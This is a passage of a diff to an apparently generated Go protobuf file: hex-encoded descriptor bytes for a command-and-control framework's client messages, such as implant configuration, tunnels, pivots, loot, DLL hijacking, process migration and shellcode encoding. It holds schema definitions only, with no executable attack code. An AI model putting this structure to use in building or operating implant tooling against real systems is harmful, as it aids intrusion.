0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, - 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, - 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, - 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, + 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, + 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, + 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, + 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, + 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, + 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, + 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, + 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36, + 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, + 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, + 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, + 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, + 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, + 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, + 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, + 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, + 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, + 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, + 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, + 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, + 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, + 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, + 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, + 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, + 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, + 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, + 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, + 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, + 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, + 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, + 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, + 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, + 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, + 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, + 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, + 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, + 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, + 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, + 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, + 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, + 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 